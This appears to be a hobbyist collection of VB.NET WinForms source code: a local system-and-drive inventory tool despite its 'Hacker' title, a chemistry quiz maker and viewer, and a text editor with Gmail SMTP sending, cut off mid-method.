Computer and computer file all infomation Hacker Source Code

Imports System.IO
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
SaveFileDialog1.FileName = "computer info"
SaveFileDialog1.Filter = "Text(*.txt)|*.txt|HTML(*html*)|*.html|PHP(*.php*)|*.php*|All files (*.*)|*.*"
SaveFileDialog1.ShowDialog()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Dim i As Integer
Dim items() As String
Dim items2() As String
Dim items3() As String
Dim a As String
Dim itm, itm2, itm3 As String
Dim driveinfo As System.IO.DriveInfo
Dim b As Integer
a = SaveFileDialog1.FileName
b = 0
i = 0
Dim drives() As String
drives = Directory.GetLogicalDrives 'getting logical drives
Dim drive As String

If My.Computer.FileSystem.FileExists(a) = True Then 'checking for file existing where information has to be stored!!
My.Computer.FileSystem.DeleteFile(a) 'deleting the existing file!!
End If
My.Computer.FileSystem.WriteAllText(a, "Computer's operating system name: " & My.Computer.Info.OSFullName & vbNewLine & _
"Computer's available physical memory: " & My.Computer.Info.AvailablePhysicalMemory & vbNewLine & _
"Computer's available virtual memory: " & My.Computer.Info.AvailableVirtualMemory & vbNewLine & _
"Computer name: " & My.Computer.Name & vbNewLine & _
"Computer is Connected with network : " & My.Computer.Network.IsAvailable & vbNewLine & _
"Computer's language : " & My.Computer.Info.InstalledUICulture.DisplayName & vbNewLine & _
"Computer's Time : " & My.Computer.Clock.LocalTime() & vbNewLine & _
"Tick Count is: " & My.Computer.Clock.TickCount() & vbNewLine & _
"Mouse Button Swapped: " & My.Computer.Mouse.ButtonsSwapped() & vbNewLine & _
"Mouse Wheel Exist: " & My.Computer.Mouse.WheelExists() & vbNewLine & _
"Mouse Scroll per line: " & My.Computer.Mouse.WheelScrollLines() & vbNewLine & _
"IR location: " & My.Computer.FileSystem.CurrentDirectory() & vbNewLine & _
"IR Temporary File Location: " & My.Computer.FileSystem.GetTempFileName() & vbNewLine, True)
For Each drive In drives
b = b + 1
Next
ProgressBar1.Maximum = b
For Each drive In drives 'Writing found logical drives
i = i + 1
My.Computer.FileSystem.WriteAllText(a, "------------------------------------------------" & vbNewLine & drive & vbNewLine & "------------------------------------------------" & vbNewLine, True)
driveinfo = My.Computer.FileSystem.GetDriveInfo(drive)
If driveinfo.IsReady = False Then
My.Computer.FileSystem.WriteAllText(a, "This Drive is not currently in use!!" & vbNewLine, True)
Else
My.Computer.FileSystem.WriteAllText(a, "label:: " & driveinfo.VolumeLabel & vbNewLine & "Type:: " & driveinfo.DriveType.ToString & vbNewLine & _
"Total Size:: " & driveinfo.TotalSize & vbNewLine & "Free Space:: " & driveinfo.TotalFreeSpace & _
vbNewLine & "------------------------------------------------" & vbNewLine, True)

Try 'Finding the files in the logical drive
items = Directory.GetFileSystemEntries(drive)
Catch ex As Exception
End Try

For Each itm In items 'writing found files and folders one by one for first level 1
If Directory.Exists(itm) Then
My.Computer.FileSystem.WriteAllText(a, itm & vbNewLine, True)
Try
items2 = Directory.GetFileSystemEntries(itm) 'writing found files and folders one by one for second level 2
Catch ex As Exception
End Try
For Each itm2 In items2
If Directory.Exists(itm2) Then
My.Computer.FileSystem.WriteAllText(a, vbTab & itm2 & vbNewLine, True)
Try
items3 = Directory.GetFileSystemEntries(itm2) 'writing found files and folders one by one for third level 2
Catch ex As Exception
End Try

For Each itm3 In items3
If Directory.Exists(itm3) Then
My.Computer.FileSystem.WriteAllText(a, vbTab & vbTab & itm3 & vbNewLine, True)
Else
My.Computer.FileSystem.WriteAllText(a, vbTab & vbTab & itm3 & vbNewLine, True)
End If
Next
Else
My.Computer.FileSystem.WriteAllText(a, vbTab & itm2 & vbNewLine, True)
End If
Next
Else
My.Computer.FileSystem.WriteAllText(a, itm & vbNewLine, True)
End If
Next
End If
ProgressBar1.Value = i
Next
End
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Me.Close()
End Sub
End Class

Test maker + Test Watcher

Test Maker
_________________________________________________
Public Class testmaker

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim a As Integer
Dim f As String
a = NumericUpDown1.Value
f = "D:\Exam\" & ComboBox1.Text & "\" & a & "\" & a & ".txt"
My.Computer.FileSystem.CopyFile("D:\Exam\1.txt", "D:\Exam\" & ComboBox1.Text & "\" & a & "\" & a & ".txt", True)
My.Computer.FileSystem.CopyFile("D:\Exam\a.txt", "D:\Exam\" & ComboBox1.Text & "\" & a & "\a.txt", True)
My.Computer.FileSystem.CopyFile("D:\Exam\b.txt", "D:\Exam\" & ComboBox1.Text & "\" & a & "\b.txt", True)
My.Computer.FileSystem.CopyFile("D:\Exam\c.txt", "D:\Exam\" & ComboBox1.Text & "\" & a & "\c.txt", True)
My.Computer.FileSystem.CopyFile("D:\Exam\d.txt", "D:\Exam\" & ComboBox1.Text & "\" & a & "\d.txt", True)
My.Computer.FileSystem.CopyFile("D:\Exam\e.txt", "D:\Exam\" & ComboBox1.Text & "\" & a & "\e.txt", True)
'Deleting section
My.Computer.FileSystem.DeleteFile(f)
My.Computer.FileSystem.DeleteFile("D:\Exam\" & ComboBox1.Text & "\" & a & "\a.txt")
My.Computer.FileSystem.DeleteFile("D:\Exam\" & ComboBox1.Text & "\" & a & "\b.txt")
My.Computer.FileSystem.DeleteFile("D:\Exam\" & ComboBox1.Text & "\" & a & "\c.txt")
My.Computer.FileSystem.DeleteFile("D:\Exam\" & ComboBox1.Text & "\" & a & "\d.txt")
My.Computer.FileSystem.DeleteFile("D:\Exam\" & ComboBox1.Text & "\" & a & "\e.txt")

'Writing Section
My.Computer.FileSystem.WriteAllText(f, TextBox1.Text, True)
My.Computer.FileSystem.WriteAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\a.txt", TextBox2.Text, True)
My.Computer.FileSystem.WriteAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\b.txt", TextBox3.Text, True)
My.Computer.FileSystem.WriteAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\c.txt", TextBox4.Text, True)
My.Computer.FileSystem.WriteAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\d.txt", TextBox5.Text, True)
My.Computer.FileSystem.WriteAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\e.txt", TextBox6.Text, True)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
NumericUpDown1.Value = NumericUpDown1.Value + 1
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
NumericUpDown1.Value = NumericUpDown1.Value - 1
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
TextBox1.Text = ""
TextBox2.Text = ""
TextBox3.Text = ""
TextBox4.Text = ""
TextBox5.Text = ""
TextBox6.Text = ""
End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
testwatcher.Show()
End Sub

Private Sub testmaker_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
ComboBox1.Items.Add("atomic structure")
ComboBox1.Items.Add("solid state")
ComboBox1.Items.Add("thermodynamics")
ComboBox1.Items.Add("equilibrium")
ComboBox1.Items.Add("chemical bonding")
ComboBox1.Items.Add("p block")
ComboBox1.Items.Add("d block")
ComboBox1.Items.Add("s block")
ComboBox1.Items.Add("biomolecules")
ComboBox1.Items.Add("chemical kinetics")
ComboBox1.Items.Add("mole concept")
ComboBox1.Items.Add("hydrogen")
ComboBox1.Items.Add("chemistry in everyday life")
ComboBox1.Items.Add("hydrocarbon")
ComboBox1.Items.Add("states of matter")

End Sub
End Class
___________________________________________________________

TEST WATCHER
___________________________________________________________

Public Class testwatcher

Private Sub ToolStripButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton1.Click
Me.Close()
End Sub
Private Sub ToolStripButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton3.Click
Me.WindowState = FormWindowState.Minimized
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If RadioButton1.Checked Then
If RadioButton1.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\e.txt") Then
TextBox3.Text += 1
Else
wa.Text += 1
End If
End If
If RadioButton2.Checked Then
If RadioButton2.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\e.txt") Then
TextBox3.Text += 1
Else
wa.Text += 1
End If
End If
If RadioButton3.Checked Then
If RadioButton3.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\e.txt") Then
TextBox3.Text += 1
Else
wa.Text += 1
End If
End If
If RadioButton4.Checked Then
If RadioButton4.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\e.txt") Then
TextBox3.Text += 1
Else
wa.Text += 1
End If
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Dim a As Integer
Page.Text += 1
a = Page.Text
TextBox4.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\" & a & ".txt")
GroupBox1.Text = a
RadioButton1.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\a.txt")
RadioButton2.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\b.txt")
RadioButton3.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\c.txt")
RadioButton4.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\d.txt")
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click

Dim a As Integer
Page.Text -= 1
a = Page.Text
GroupBox1.Text = a
TextBox4.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\" & a & ".txt")
RadioButton1.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\a.txt")
RadioButton2.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\b.txt")
RadioButton3.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\c.txt")
RadioButton4.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\" & a & "\d.txt")
End Sub
Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
TextBox4.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\1.txt")
GroupBox1.Text = 1
RadioButton1.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\a.txt")
RadioButton2.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\b.txt")
RadioButton3.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\c.txt")
RadioButton4.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\d.txt")
End Sub

Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
ComboBox1.Items.Add("atomic structure")
ComboBox1.Items.Add("solid state")
ComboBox1.Items.Add("thermodynamics")
ComboBox1.Items.Add("equilibrium")
ComboBox1.Items.Add("chemical bonding")
ComboBox1.Items.Add("p block")
ComboBox1.Items.Add("d block")
ComboBox1.Items.Add("s block")
ComboBox1.Items.Add("biomolecules")
ComboBox1.Items.Add("chemical kinetics")
ComboBox1.Items.Add("mole concept")
ComboBox1.Items.Add("hydrogen")
ComboBox1.Items.Add("chemistry in everyday life")
ComboBox1.Items.Add("hydrocarbon")
ComboBox1.Items.Add("states of matter")

End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
TextBox4.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\1.txt")
GroupBox1.Text = 1
RadioButton1.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\a.txt")
RadioButton2.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\b.txt")
RadioButton3.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\c.txt")
RadioButton4.Text = My.Computer.FileSystem.ReadAllText("D:\Exam\" & ComboBox1.Text & "\1\d.txt")
End Sub
End Class

My epad Source Code

Imports System.Net.Mail
Public Class ePad
Private Sub mail_MouseHover(ByVal sender As Object, ByVal e As System.EventArgs) Handles mail.MouseHover
mailpanel.Visible = True
Panel7.Visible = False
mailpanel.BringToFront()
End Sub

Private Sub btsend_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btsend.Click
Dim a, emailid, password As String
a = "@gmail.com"
emailid = cbgmailid.Text & a
password = tbpassword.Text
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
Try
'for concatenation with gmail id
ToolStripProgressBar1.Value = 10
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
ToolStripProgressBar1.Value = 17
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
ToolStripProgressBar1.Value = 40
mail.To.Add(cbto.Text)
mail.Subject = cbsubject.Text
mail.Body = RichTextBox1.Text
smtpServer.Send(mail)
ToolStripProgressBar1.Value = 100
MsgBox("Mail Successfully Sent to " & cbto.Text)
Catch ex As Exception
End Try
Try
If ComboBox14.Text <> "" Then
emailid = cbgmailid.Text & a
password = tbpassword.Text
ToolStripProgressBar1.Value = 10
ToolStripProgressBar1.Value = 17
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
ToolStripProgressBar1.Value = 40
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(ComboBox14.Text)
mail.Subject = cbsubject.Text
mail.Body = RichTextBox1.Text
smtpServer.Send(mail)
ToolStripProgressBar1.Value = 100
End If
Catch ex As Exception
End Try
Try
If ComboBox15.Text <> "" Then
emailid = cbgmailid.Text & a
password = tbpassword.Text
ToolStripProgressBar1.Value = 10
ToolStripProgressBar1.Value = 17
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
ToolStripProgressBar1.Value = 40
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(ComboBox15.Text)
mail.Subject = cbsubject.Text
mail.Body = RichTextBox1.Text
smtpServer.Send(mail)
ToolStripProgressBar1.Value = 100
End If
Catch ex As Exception
End Try
Try
If ComboBox16.Text <> "" Then
emailid = cbgmailid.Text & a
password = tbpassword.Text
ToolStripProgressBar1.Value = 10
ToolStripProgressBar1.Value = 17
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
ToolStripProgressBar1.Value = 40
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(ComboBox16.Text)
mail.Subject = cbsubject.Text
mail.Body = RichTextBox1.Text
smtpServer.Send(mail)
ToolStripProgressBar1.Value = 100
End If
Catch ex As Exception
End Try
Try
If ComboBox17.Text <> "" Then
emailid = cbgmailid.Text & a
password = tbpassword.Text
ToolStripProgressBar1.Value = 10
ToolStripProgressBar1.Value = 17
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
ToolStripProgressBar1.Value = 40
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(ComboBox17.Text)
mail.Subject = cbsubject.Text
mail.Body = RichTextBox1.Text
smtpServer.Send(mail)
ToolStripProgressBar1.Value = 100
End If
Catch ex As Exception
End Try
Try
If ComboBox18.Text <> "" Then
emailid = cbgmailid.Text & a
password = tbpassword.Text
ToolStripProgressBar1.Value = 10
ToolStripProgressBar1.Value = 17
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
ToolStripProgressBar1.Value = 40
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(ComboBox18.Text)
mail.Subject = cbsubject.Text
mail.Body = RichTextBox1.Text
smtpServer.Send(mail)
ToolStripProgressBar1.Value = 100
End If
Catch ex As Exception
End Try
Try
If ComboBox19.Text <> "" Then
emailid = cbgmailid.Text & a
password = tbpassword.Text
ToolStripProgressBar1.Value = 10
ToolStripProgressBar1.Value = 17
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
ToolStripProgressBar1.Value = 40
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(ComboBox19.Text)
mail.Subject = cbsubject.Text
mail.Body = RichTextBox1.Text
smtpServer.Send(mail)
ToolStripProgressBar1.Value = 100
End If
Catch ex As Exception
End Try
Try
If ComboBox20.Text <> "" Then
emailid = cbgmailid.Text & a
password = tbpassword.Text
ToolStripProgressBar1.Value = 10
ToolStripProgressBar1.Value = 17
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
ToolStripProgressBar1.Value = 40
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(ComboBox20.Text)
mail.Subject = cbsubject.Text
mail.Body = RichTextBox1.Text
smtpServer.Send(mail)
ToolStripProgressBar1.Value = 100
End If
Catch ex As Exception
End Try
Try
If ComboBox21.Text <> "" Then
emailid = cbgmailid.Text & a
password = tbpassword.Text
ToolStripProgressBar1.Value = 10
ToolStripProgressBar1.Value = 17
smtpServer.Credentials = New Net.NetworkCredential(emailid, password)
ToolStripProgressBar1.Value = 40
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(emailid)
mail.To.Add(ComboBox21.Text)
mail.Subject = cbsubject.Text
mail.Body = RichTextBox1.Text
smtpServer.Send(mail)
ToolStripProgressBar1.Value = 100
End If
Catch ex As Exception
End Try
End Sub
Private Sub search_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles search.Click
Panel7.Hide()
End Sub
Private Sub search_MouseHover(ByVal sender As Object, ByVal e As System.EventArgs) Handles search.MouseHover
Panel7.Show()
mailpanel.Visible = False
Panel7.BringToFront()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Me.WindowState = FormWindowState.Minimized
End Sub
Private Sub ToolStripButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton1.Click
End
End Sub
Private Sub mail_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles mail.Click
mailpanel.Visible = False
End Sub
Private Sub ToolStripButton3_MouseHover(ByVal sender As Object, ByVal e As System.EventArgs) Handles ToolStripButton3.MouseHover
Me.WindowState = FormWindowState.Minimized
End Sub
Private Sub ToolStripComboBox1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles ToolStripComboBox1.KeyDown
If e.KeyCode = Keys.Enter Then
If WebBrowser1.Visible Then
Me.WebBrowser1.Navigate(ToolStripComboBox1.Text)
End If
If Me.WebBrowser2.Visible Then
Me.WebBrowser2.Navigate(ToolStripComboBox1.Text)
End If
If Me.WebBrowser3.Visible Then
Me.WebBrowser3.Navigate(ToolStripComboBox1.Text)
End If
If Me.WebBrowser4.Visible Then
Me.WebBrowser4.Navigate(ToolStripComboBox1.Text)
End If
If Me.WebBrowser5.Visible Then
Me.WebBrowser5.Navigate(ToolStripComboBox1.Text)
End If
End If
End Sub
Private Sub ToolStripButton12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton12.Click
RichTextBox1.Text = String.Empty
RichTextBox1.Focus()
End Sub

Private Sub ToolStripButton13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton13.Click
Dim openfile1 As New OpenFileDialog()
openfile1.DefaultExt = "*.rtf"
openfile1.Filter = "RTF Files(*rtf*)|*.rtf|Text(*.txt)|*.txt|HTML(*html*)|*.html|PHP(*.php*)|*.php*|All files (*.*)|*.*"
openfile1.CheckPathExists = True
openfile1.Title = "Save File"
' Determine whether the user selected a file name from the openFileDialog.
Try
If (openfile1.ShowDialog() = System.Windows.Forms.DialogResult.OK) _
And (openfile1.FileName.Length > 0) Then
' Load the contents of the RichTextBox into the file.
RichTextBox1.LoadFile(openfile1.FileName)
End If
Catch ex As Exception 'Do nothing on Exception
End Try
End Sub

Private Sub ToolStripButton14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton14.Click
Dim SaveFile1 As New SaveFileDialog()
SaveFile1.DefaultExt = "*.rtf"
SaveFile1.Filter = "RTF Files(*rtf*)|*.rtf|Text(*.txt)|*.txt|HTML(*html*)|*.html|PHP(*.php*)|*.php*|All files (*.*)|*.*"
SaveFile1.CheckPathExists = True
SaveFile1.Title = "Save File"
' Determine whether the user selected a file name from the saveFileDialog.
Try
If (SaveFile1.ShowDialog() = System.Windows.Forms.DialogResult.OK) _
And (SaveFile1.FileName.Length > 0) Then
' Save the contents of the RichTextBox into the file.
RichTextBox1.SaveFile(SaveFile1.FileName)
End If
Catch ex As Exception 'Do nothing on Exception
End Try
End Sub
Private Sub ToolStripButton16_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton16.Click
RichTextBox1.Cut()
End Sub

Private Sub ToolStripButton17_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton17.Click
RichTextBox1.Copy()
End Sub

Private Sub ToolStripButton18_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton18.Click
RichTextBox1.Paste()
End Sub

Private Sub ToolStripButton19_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton19.Click
RichTextBox1.SelectAll()
End Sub

Private Sub ToolStripButton20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton20.Click
RichTextBox1.SelectAll()
RichTextBox1.Text = ""
End Sub

Private Sub ToolStripButton21_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton21.Click
RichTextBox1.Undo()
End Sub

Private Sub ToolStripButton22_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton22.Click
RichTextBox1.Redo()
End Sub
Private Sub ToolStripButton23_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton23.Click
RichTextBox1.SelectionAlignment = HorizontalAlignment.Left
End Sub
Private Sub ToolStripButton24_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton24.Click
RichTextBox1.SelectionAlignment = HorizontalAlignment.Right
End Sub
Private Sub ToolStripButton25_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton25.Click
RichTextBox1.SelectionAlignment = HorizontalAlignment.Center
End Sub
Private Sub ToolStripButton26_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton26.Click
FontDialog1.ShowDialog()
RichTextBox1.Font = FontDialog1.Font
End Sub
Private Sub ToolStripButton27_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton27.Click
ColorDialog1.ShowDialog()
RichTextBox1.SelectionColor = ColorDialog1.Color
End Sub

Private Sub ToolStripButton28_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton28.Click
PrintSetup.Show()
'This method displays a PageSetupDialog object. If the
' user clicks OK in the dialog, selected results of
' the dialog are displayed in ListBox1.
' Initialize the dialog's PrinterSettings property to hold user
' defined printer settings.
PageSetupDialog1.PageSettings = _
New System.Drawing.Printing.PageSettings
' Initialize dialog's PrinterSettings property to hold user
' set printer settings.
PageSetupDialog1.PrinterSettings = _
New System.Drawing.Printing.PrinterSettings
'Do not show the network in the printer dialog.
PageSetupDialog1.ShowNetwork = False
'Show the dialog storing the result.
Dim result As DialogResult = PageSetupDialog1.ShowDialog()
' If the result is OK, display selected settings in
' ListBox1. These values can be used when printing the
' document.
If (result = DialogResult.OK) Then
Dim results() As Object = New Object() _
{PageSetupDialog1.PageSettings.Margins, _
PageSetupDialog1.PageSettings.PaperSize, _
PageSetupDialog1.PageSettings.Landscape, _
PageSetupDialog1.PrinterSettings.PrinterName, _
PageSetupDialog1.PrinterSettings.PrintRange}
PrintSetup.Items.AddRange(results)
End If
End Sub
Private Sub ToolStripButton29_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton29.Click
Dim a, b As String
a = RichTextBox1.SelectedText
b = LCase(a)
RichTextBox1.SelectedText = b
End Sub

Private Sub ToolStripButton30_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton30.Click
Dim A, B As String
A = RichTextBox1.SelectedText
B = UCase(A)
RichTextBox1.SelectedText = B
End Sub
Private Sub WebBrowser1_DocumentTitleChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles WebBrowser1.DocumentTitleChanged
If WebBrowser1.Visible = True Then
ToolStripStatusLabel1.Text = WebBrowser1.DocumentTitle.ToString()
End If
End Sub
Private Sub WebBrowser1_Navigated(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserNavigatedEventArgs) Handles WebBrowser1.Navigated
If WebBrowser1.Visible Then
ToolStripComboBox1.Text = WebBrowser1.Url.ToString()
TabPage2.Text = WebBrowser1.Url.ToString()
End If
End Sub
Private Sub ToolStripButton9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton9.Click
WebBrowser1.Print()
End Sub
Private Sub ePad_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
Timer3.Enabled = True
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
TextBox1.Text = TimeOfDay
TextBox2.Text = TrackBar1.Value
RichTextBox1.ZoomFactor = (TrackBar1.Value) / 3
End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Label9.Text = Len(RichTextBox1.Text)
Label15.Text = RichTextBox1.Lines.Length
End Sub
Private Sub ToolStripButton10_MouseHover(ByVal sender As Object, ByVal e As System.EventArgs) Handles ToolStripButton10.MouseHover
TrackBar1.Visible = True
TextBox2.Visible = True
End Sub

Private Sub ToolStripButton10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton10.Click
TrackBar1.Visible = False
TextBox2.Visible = False
End Sub

Private Sub RichTextBox1_MouseHover(ByVal sender As Object, ByVal e As System.EventArgs) Handles RichTextBox1.MouseHover
TrackBar1.Visible = False
TextBox2.Visible = False
Panel1.Visible = False
End Sub
Private Sub ToolStripButton11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton11.Click
form100.Show()
form100.BringToFront()
End Sub

Private Sub ToolStripButton32_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton32.Click
ShockWave_Player.Show()
End Sub

Private Sub ToolStripButton33_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton33.Click
media_player.Show()
End Sub
Private Sub ToolStripButton36_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton36.Click
Form3.Show()
End Sub

Private Sub ToolStripButton39_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton39.Click
Form6.Show()
End Sub

Private Sub ToolStripButton37_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton37.Click
Form5.Show()
End Sub

Private Sub ToolStripButton41_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton41.Click
Form4.Show()
End Sub

Private Sub ToolStripButton38_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton38.Click
Form2.Show()
End Sub

Private Sub ToolStripButton40_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton40.Click
form100.Show()
End Sub

Private Sub ToolStripButton42_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton42.Click
form100.Show()
End Sub

Private Sub ToolStripButton35_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton35.Click
ComboBox1.Hide()
End Sub

Private Sub ToolStripButton35_MouseHover(ByVal sender As Object, ByVal e As System.EventArgs) Handles ToolStripButton35.MouseHover
ComboBox1.Show()
ComboBox1.Items.Add("Calculator")
ComboBox1.Items.Add("Paint")
ComboBox1.Items.Add("Dos")
ComboBox1.Items.Add("Task Manager")
ComboBox1.Items.Add("Scanning")
ComboBox1.Items.Add("ClipBoard content Show")
ComboBox1.Items.Add("System Configuration Editor")
ComboBox1.Items.Add("Syskey")
ComboBox1.Items.Add("Drive Clean Up Manager")
ComboBox1.Items.Add("Registry")
ComboBox1.Items.Add("System Volume")
ComboBox1.Items.Add("System Recovery/Backup Point")
